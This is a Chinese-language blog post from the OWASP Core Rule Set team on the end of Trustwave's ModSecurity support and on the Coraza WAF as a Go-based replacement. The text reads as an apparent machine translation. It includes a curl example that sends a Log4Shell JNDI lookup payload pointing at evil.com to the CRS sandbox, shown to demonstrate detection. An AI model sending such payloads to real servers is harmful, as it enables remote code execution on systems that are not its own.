是时候谈论 ModSecurity 引擎并向您介绍 WAF 前沿的新竞争者 Coraza。任何规则集都没有 WAF 引擎来运行它，所以即使我们的项目专注于规则，我们也需要不时查看底层引擎。

2021 年 8 月 26 日，ModSecurity 的所有者 Trustwave 在一篇博文中宣布结束对 ModSecurity 2024 的支持。该博客还指出，Trustwave 计划“让开源社区继续这个项目”。

在秋季，我们的母组织 OWASP 与 Trustwave 取得联系，并表示愿意承担该项目的管理工作并吸引赞助商，同时履行 Trustwave 的现有承诺。可悲的是，OWASP 和 Trustwave 在 2024 年 Trustwave 的生命支持结束之前还没有找到一条共同的道路。因此，Trustwave 正在减少他们的承诺，我们需要继续前进。

作为 OWASP ModSecurity 核心规则集的提供者，我们是 ModSecurity 最大的用户，也是 ModSecurity 最大的专家之一。我们的 CRS 联合负责人 Christian Folini 博士是准官方 ModSecurity 手册第二版的作者，我们的项目汇集了 ModSecurity 在非常多样化的设置中的独特专业知识。自从 ModSecurity 被 Trustwave 接管以来，我们一直在研究它的开发，我们看到主要开发人员加入和离开公司，我们提出了数十个问题，我们贡献了几个拉取请求。

无需赘述，我们认为可以公平地说 ModSecurity 未能吸引活跃的开发者社区。自 2016 年与 Trustwave 分离以来，CRS 的活跃开发人员已从 3 个增长到 12 个。同时，ModSecurity 无法跟上必要的资源来适应不断增长的 CRS 项目及其用户。

ModSecurity：两个代码库的问题

一个问题是 ModSecurity 代码库。传统的基础是 ModSecurity 2，一个古老的 Apache 模块，最初由 Ivan Ristić 开发。然而，ModSecurity 2 与 Apache 内部结构密切相关，这使得移植它变得困难，并且使得重构变得明智。有后续的 libModSecurity 3，这是一个用 C++ 从头开始​​构建的独立引擎，带有一个连接器模块，可以将其集成到 NGINX 中。ModSecurity 3 于 2017 年 12 月以稳定和生产就绪的形式发布。

四年过去了，CRS 仍然使用 ModSecurity 2 作为其参考实现。主要原因是 ModSecurity 3 未能通过我们测试套件中的所有测试。Trustwave 将 ModSecurity 3 称为具有相同功能集的重新实现，这还没有发生。最近，我们向 Trustwave 发送了一份清单，其中列出了十几个违反 CRS 规则并可能使应用程序受到攻击的实施差距和差异。

但这不是唯一的问题。NGINX 也是唯一存在公开可用的 ModSecurity 3 连接器模块的平台。所以你不能在传统的 Apache 上运行 ModSecurity 3，也不能在新的热云上运行。而且 ModSecurity 3 的性能比 ModSecurity 2 在 Apache 上的吞吐量要差得多（是的，你没听错：一旦 ModSecurity 发挥作用，Apache 比 NGINX 快得多）。

因此，我们有一个绑定到 Apache 的非常旧的代码库，以及一个不完整、性能较低且仅在 NGINX 上运行的新代码库。

CRS 曾思考过这个问题，但我们得出的结论是，我们宁愿利用我们的知识和资源来编写规则，也不愿在引擎上工作。也就是说，我们将努力实现引擎中立。（这并不意味着我们不支持。ModSecurity 中的最后几个安全问题都已被 CRS 开发人员发现并在发布前与 ModSecurity 开发人员共享。我们在顶部的 ModSecurity GitHub 上打开了相当多的拉取请求。）

ModSecurity 分支的唯一可行选择是拥有雄厚财力和资源的公司或组织来清理代码库，缩小差距，然后也许还有如何前进的愿景。我们预计这两个代码库的投资约为 4,000 小时。

因此，在我们看来，ModSecurity 和那些投资 ModSecurity 的集成商的情况看起来相当惨淡。我们显然面临着类似的情况。但我们也认为有理由抱有希望。让我们解释一下！

首先，ModSecurity 的 SecLang 引擎并不太重要。ModSecurity 已经有几个商业重新实现，并且没有什么可以阻止开源替代方案。

其次，智能在规则集中，而不是在引擎中。ModSecurity 规则的老派供应商 Atomicorp 的首席执行官 Mike Shinn 最近这样说：“无论如何，ModSecurity 的真正魔力总是在规则中。” 作为开源规则提供者，我们完全同意。

因此，我们真正需要的是 ModSecurity 的开源替代品。现在已经出现了这样一个非常有趣的替代方案：进入Coraza WAF。

新 Coraza WAF 的美丽

Coraza 是使用内存安全的 Go 语言实现的 SecLang 引擎，全部由智利的 Juan Pablo Tosso 开发。Coraza 目前只在开源Caddy 网络服务器上工作，但 Coraza 已经通过了 100% 的 CRS 测试套件，我们确信它已准备好生产。Juan Pablo 已经开始着手 Apache 和 NGINX 集成方面的工作，他想让它成为 ModSecurity 的直接替代品。然后还有很多很多的计划。让这些充满活力的唯一障碍是 Coraza 周围缺乏开发者社区。我们真诚地希望该项目的美丽能够激发人们检查并加入！

新的 Coraza WAF 及其宠物“Sancho”在右侧。

为了让您尽早访问 Coraza，如果您没有 Caddy 网络服务器可玩，我们在 CRS 沙箱上设置了一个带有 Coraza 的 Caddy，您可以立即试用。在以下示例中，我们将向沙箱发送 Log4J 漏洞利用。请注意，对于“x-backend”标头，我们选择 Coraza 作为引擎，对于“x-crs-version”，我们选择核心规则集以及我们之前的 Log4J 博客文章中的额外 Log4J 规则。

$ curl -H "x-crs-paranoia-level: 4" \
      -H "x-format-output: txt-matched-rules" \
      -H "x-backend: coraza" \
      -H "x-crs-version : 3.4.0-dev-log4j" \
      -H ' User-Agent: ${jndi:ldap://evil.com} ' \
      https://sandbox.coreruleset.org
1005 PL1 潜在远程命令执行：Log4j CVE- 2021-44228
932130 PL1 远程命令执行：发现 Unix Shell 表达式
949110 PL1 入站异常分数超过（总分：10）
980130 PL1 入站异常分数超过（总入站分数：10 - SQLI=0，XSS=0，RFI=0， LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0)：个人偏执程度分数：10、0、0、0

结论

我们还没有离开 ModSecurity 岛，但我们正在帮助建造一艘新船。虽然我们看到 ModSecurity 项目的可行性存在问题，但我们将继续对其进行测试并有效地报告 ModSecurity 3 的问题，以帮助改善其前景。同时，我们将与社区合作创建诸如 Coraza 之类的替代方案，以便我们的用户可以在未来许多年将核心规则集与任何现代设置一起使用。我们的沙箱将是一种有用的资产，可以帮助我们评估和比较各种引擎，为我们的用户提供尽可能多的选择。

如果您有兴趣查看 Coraza，这里有一些有趣的链接：

• https://coraza.io
• Introduction - OWASP Coraza WAF
• GitHub - corazawaf/coraza: OWASP Coraza WAF is a golang modsecurity compatible web application firewall library

我们会及时向您通报这方面的新进展。

Walter Hop 和 Christian Folini，OWASP ModSecurity 核心规则集项目的负责

人 Juan Pablo Tosso 要求 CRS 为他的 Coraza 吉祥物起一个名字。我们选择了桑乔，他认为这很合适。